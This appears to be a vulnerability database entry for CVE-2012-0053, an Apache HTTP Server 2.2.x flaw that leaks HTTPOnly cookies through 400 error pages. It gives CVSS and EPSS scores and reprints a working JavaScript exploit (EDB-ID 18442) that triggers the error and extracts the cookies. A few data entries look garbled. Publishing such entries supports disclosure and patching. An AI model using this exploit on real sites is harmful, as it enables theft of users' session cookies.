CVE-2012-0053

EPSS

77.51%V4

Vector

Network

Published

2012-01-28
01h00 +00:00

Modified

2021-06-06
08h09 +00:00

Official links

CVE.org

NVD

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Criteria applied when sending the alert: compared with the last alert sent + differences in CISA, EPSS, CVSS, CWE, Solutions, CPE.

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CVE Descriptions

protocol.c in the Apache HTTP Server 2.2.x through 2.2.21 does not properly restrict header information during construction of Bad Request (aka 400) error documents, which allows remote attackers to obtain the values of HTTPOnly cookies via vectors involving a (1) long or (2) malformed header in conjunction with crafted web script.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE Other	No informations.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	4.3		AV:N/AC:M/Au:N/C:P/I:N/A:N	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	74.14%	–	–
2022-04-17	–	–	73.46%	–	–
2023-03-12	–	–	–	96.82%	–
2023-04-23	–	–	–	96.2%	–
2023-06-25	–	–	–	96.47%	–
2023-08-27	–	–	–	96.72%	–
2023-09-03	–	–	–	96.72%	–
2023-11-12	–	–	–	84.01%	–
2023-12-24	–	–	–	76.12%	–
2024-02-11	–	–	–	70.73%	–
2024-02-18	–	–	–	73.96%	–
2024-06-02	–	–	–	73.96%	–
2024-06-09	–	–	–	71.7%	–
2024-12-22	–	–	–	57.44%	–
2025-01-19	–	–	–	57.44%	–
2025-03-18	–	–	–	–	80.92%
2025-04-11	–	–	–	–	77.51%
2025-04-11	–	–	–	–	77.51,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	99%
2022-04-17	99%
2023-03-12	99%
2023-04-23	99%
2023-06-25	99%
2023-08-27	99%
2023-09-03	1%
2023-11-12	98%
2023-12-24	98%
2024-02-11	98%
2024-02-18	98%
2024-06-02	98%
2024-06-09	98%
2024-12-22	98%
2025-01-19	98%
2025-03-18	99%
2025-04-11	99%
2025-04-11	99%

Exploit information

Exploit Database EDB-ID : 18442

Publication date : 2012-01-30 23h00 +00:00
Author : pilate
EDB Verified : Yes

// Source: https://gist.github.com/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08 // Most browsers limit cookies to 4k characters, so we need multiple function setCookies (good) { // Construct string for cookie value var str = ""; for (var i=0; i< 819; i++) { str += "x"; } // Set cookies for (i = 0; i < 10; i++) { // Expire evil cookie if (good) { var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;"; } // Set evil cookie else { var cookie = "xss"+i+"="+str+";path=/"; } document.cookie = cookie; } } function makeRequest() { setCookies(); function parseCookies () { var cookie_dict = {}; // Only react on 400 status if (xhr.readyState === 4 && xhr.status === 400) { // Replace newlines and match <pre> content var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/); if (content.length) { // Remove Cookie: prefix content = content[1].replace("Cookie: ", ""); var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g); // Add cookies to object for (var i=0; i<cookies.length; i++) { var s_c = cookies[i].split('=',2); cookie_dict[s_c[0]] = s_c[1]; } } // Unset malicious cookies setCookies(true); alert(JSON.stringify(cookie_dict)); } } // Make XHR request var xhr = new XMLHttpRequest(); xhr.onreadystatechange = parseCookies; xhr.open("GET", "/", true); xhr.send(null); } makeRequest();